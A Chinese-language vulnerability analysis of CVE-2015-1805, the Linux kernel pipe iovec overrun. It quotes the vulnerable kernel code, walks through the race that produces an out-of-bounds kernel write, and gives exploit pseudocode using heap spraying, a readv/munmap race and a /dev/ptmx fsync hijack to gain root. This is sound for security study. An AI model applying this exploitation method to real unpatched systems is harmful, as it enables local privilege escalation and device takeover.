CVE-2015-1805

在linux 内核3.16版本之前的fs/pipe.c当中,由于pipe_read和pipe_write没有考虑到拷贝过程中数据没有同步的一些临界情况,造成了拷贝越界的问题,因此有可能导致系统crash以及系统权限提升。这种漏洞又称之为”I/O vector array overrun”。

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
struct iovec
{
void __user *iov_base; /* BSD uses caddr_t (1003.1g requires void *) */
__kernel_size_t iov_len; /* Must be size_t (1003.1g) */
};

/**
* struct pipe_buffer - a linux kernel pipe buffer
* @page: the page containing the data for the pipe buffer
* @offset: offset of data inside the @page
* @len: length of data inside the @page
* @ops: operations associated with this buffer. See @pipe_buf_operations.
* @flags: pipe buffer flags. See above.
* @private: private data owned by the ops.
**/

struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};

static ssize_t
pipe_read(struct kiocb *iocb, const struct iovec *_iov,
unsigned long nr_segs, loff_t pos)

{

...
total_len = iov_length(iov, nr_segs);
...
// 循环读取内存数据到iovec,iovec用户定义,把pipe里面的数据写到iov里指向的用户空间地址里
for (;;) {
int bufs = pipe->nrbufs;
if (bufs) {
...
// chars = pipe_buffer.len, inside the @page即max = 0x1000
size_t chars = buf->len, remaining;
...
if (chars > total_len)
chars = total_len;
...
// 检查iovecs中的每一个iov->base是否是一个可写的用户态内存页
// 如果全部可写返回0,那么atomic=1,接下来会直接使用__copy_to_user,不对目标地址再作检查
atomic = !iov_fault_in_pages_write(iov, chars);
remaining = chars;
offset = buf->offset;
redo:
addr = ops->map(pipe, buf, atomic);
// 如果copy到len=X,出错返回,那么已经copy成功的iov->iov_len会被减去,但是读取缓冲区的长度total_len,并没有同步减少。
// 进入redo逻辑后,还会继续copy长度为total_len的字节, 但是iov已经在前一次失败中减去已经copy的长度X。
// 那么最终会向iov后越界copy len=X个长度的数据,aka"iovec overrun"
error = pipe_iov_copy_to_user(iov, addr, &offset,
&remaining, atomic);
ops->unmap(pipe, buf, addr);
if (unlikely(error)) {
/*
* Just retry with the slow path if we failed.
*/

if (atomic) {
atomic = 0;
goto redo;
}
if (!ret)
ret = error;
break;
}
ret += chars;
buf->offset += chars;
buf->len -= chars;
...
total_len -= chars;
if (!total_len)
break; /* common path: read succeeded */
}

...
}


static int
pipe_iov_copy_to_user(struct iovec *iov, void *addr, int *offset,
size_t *remaining, int atomic)

{

unsigned long copy;

while (*remaining > 0) {
while (!iov->iov_len)
iov++;
copy = min_t(unsigned long, *remaining, iov->iov_len);

// 如果atomic=1,直接调用__copy_to_user,否则使用copy_to_user进行地址检查(access_ok)
if (atomic) {
if (__copy_to_user_inatomic(iov->iov_base,
addr + *offset, copy))
return -EFAULT;
} else {
if (copy_to_user(iov->iov_base,
addr + *offset, copy))
return -EFAULT;
}
// 每次copy完一个iov的时候对iov->len的长度进行更新
*offset += copy;
*remaining -= copy;
iov->iov_base += copy;
// !!! 如果copy到len=X,出错返回,那么已经copy成功的iov->len会被减去
iov->iov_len -= copy;
}
return 0;
}

触发逻辑

第一次拷贝:
iov_fault_in_pages_write()检测通过即atomic = 1。
pipe_iov_copy_to_user()中途失败即其中某一个iov->base指向的内存页无效。

第二次拷贝,进入redo逻辑:
pipe_iov_copy_to_user()成功,即使其中失效的iov->base重新生效。
此时atomic在第一次失败时候置0,因此会使用copy_to_user,因此不能触发越界写,保证一个合法的buf->len拷贝完成功返回。
并且让total_len稍大于buf->len(max=0x1000),拷贝完成还有剩余进入下一次循环。

第三次拷贝:
iov_fault_in_pages_write()检测通过即atomic = 1。
pipe_iov_copy_to_user()越界拷贝。

利用

1
2
3
4
5
6
7
8
9
10
struct iovec iov[0x200];
for (i = 0; i < 0x200; i++) {
iov[i].iov_base = 0x4000000 + i * 0x1000;
if (i == 0)
iov[i].iov_len = 0;
else if (i == 1)
iov[i].iov_len = 0x20;
else
iov[i].iov_len = 0x8;
}

total_len = (0x200-2)*8+0x20 = 0x1010

第一次拷贝:

iov[0]->iov_base = 0x40000000;
iov[0]->iov_len = 0x0;
iov[1]->iov_base = 0x40001000;
iov[1]->iov_len = 0x20;
iov[2]->iov_base = 0x40002000;
iov[2]->iov_len = 0x8;
iov[3]->iov_base = 0x40003000;
iov[3]->iov_len = 0x8;
iov[4]->iov_base = 0x40004000;
iov[4]->iov_len = 0x8;
...

iov_fault_in_pages_write()检测通过,在pipe_iov_copy_to_user()中将
iov[2]->iov_base = 0x40002000 这个内存地址设置成无效,
这时iov的值如下

iov[0]->iov_base = 0x40000000;
iov[0]->iov_len = 0x0;
iov[1]->iov_base = 0x40001000;
iov[1]->iov_len = 0x0;      // !!! 这个长度值已经被消耗
iov[2]->iov_base = 0x40002000;      // unmap 设置无效
iov[2]->iov_len = 0x8;
iov[3]->iov_base = 0x40003000;
iov[3]->iov_len = 0x8;
iov[4]->iov_base = 0x40004000;
iov[5]->iov_len = 0x8;

函数返回后执行 redo。

第二次拷贝:

iov[0]->iov_base = 0x40000000;
iov[0]->iov_len = 0x0;
iov[1]->iov_base = 0x40001000;
iov[1]->iov_len = 0x0;      // !!! 这个长度值已经被消耗
iov[2]->iov_base = 0x40002000;      // mmap 设置有效
iov[2]->iov_len = 0x8;
iov[3]->iov_base = 0x40003000;
iov[3]->iov_len = 0x8;
iov[4]->iov_base = 0x40004000;
iov[5]->iov_len = 0x8;

pipe_iov_copy_to_user函数正常执行完以后,iov的值如下

iov[0]->iov_base = 0x40000000;
iov[0]->iov_len = 0x0;
...
iov[0x1ff]->iov_base = 0x401ff000;
iov[0x1ff]->iov_len = 0x0;

到这个时刻,分配的iov[0x200] 其实已经使用完毕,
但是因为第一次调用时故意引发的错误导致 total_len -= chars 没有更新。

total_len = 0x1010; 
chars = 0x1000,
total_len -= chars;
total_len = 0x10;

第三次拷贝:

iov[0]->iov_base = 0x40000000;
iov[0]->iov_len = 0x0;
...
iov[0x1ff]->iov_base = 0x401ff000;
iov[0x1ff]->iov_len = 0x0;
iov[0x200]->iov_base = ????????;
iov[0x200]->iov_len = ????????;

再次进入pipe_iov_copy_to_user(),由于 0x1ff 项已经使用完了,
继续累加就会开始往0x200项的iov_base写值了,这样就产生了一个数组越界写。
只要控制 iov[0x200]->iov_base 和 iov[0x200]->iov_len 的内容,就达到了内核任意地址写任意值。

整理整个逻辑流程如下(参考race时间轴图解CVE-2015-1805):

time_line

利用伪代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80

void
init_payloads() {

for (i = 0; i < 0x200; i++) {
iov[i].iov_base = mmap(0x1000);
if (i == 0)
iov[i].iov_len = 0;
else if (i == 1)
iov[i].iov_len = 0x20;
else
iov[i].iov_len = 0x8;
}
}

void
write_msg() {

msg.msg_hdr.msg_iov = iovecs_write;
msg.msg_hdr.msg_iovlen = 0x200;
msg.msg_hdr.msg_control = iovecs_write;
msg.msg_hdr.msg_controllen = (0x200 * sizeof(struct iovec));
while (!stop_send) {
i_ret = syscall(__NR_sendmmsg, fd_sock, &msg, 1, 0);
}
}

int
heap_spray() {

for (i = 0; i < 0x200; i++) {
iovecs_write[i].iov_base = (void*)flag_addr;
iovecs_write[i].iov_len = 0x1000;
}
iovecs_write[0].iov_len = 0;
iovecs_write[1].iov_base = (void*)patch_kernel_addr;
iovecs_write[1].iov_len = 0x10; // patch len

for(255) {
pthread_create(write_msg);
}
stop_send = 1;
pthread_join();
stop_send = 0;
}

void
read_msg() {

pthread_mutex_lock(&mutex_read_msg);
readv();
}

int
main(int argc, char* argv[],char *env[]) {


// padding iovec[0x200]
init_payloads();

// padding patch_kernel_addr
heap_spray();

do {
// write do_root addr
write_pipe(get_root_addr);

// lock
pthread_mutex_lock(&mutex_read_msg);

pthread_create(read_msg);
// wait readv() ready
usleep(100);

pthread_mutex_unlock(&g_mutex_read_msg);
munmap();
mmap();
} while (*(int*)flag_addr != get_root_addr)

printf("success\n");

// if patch_kernel_addr == fsync_addr
fd = open("/dev/ptmx");
fsync(fd);
}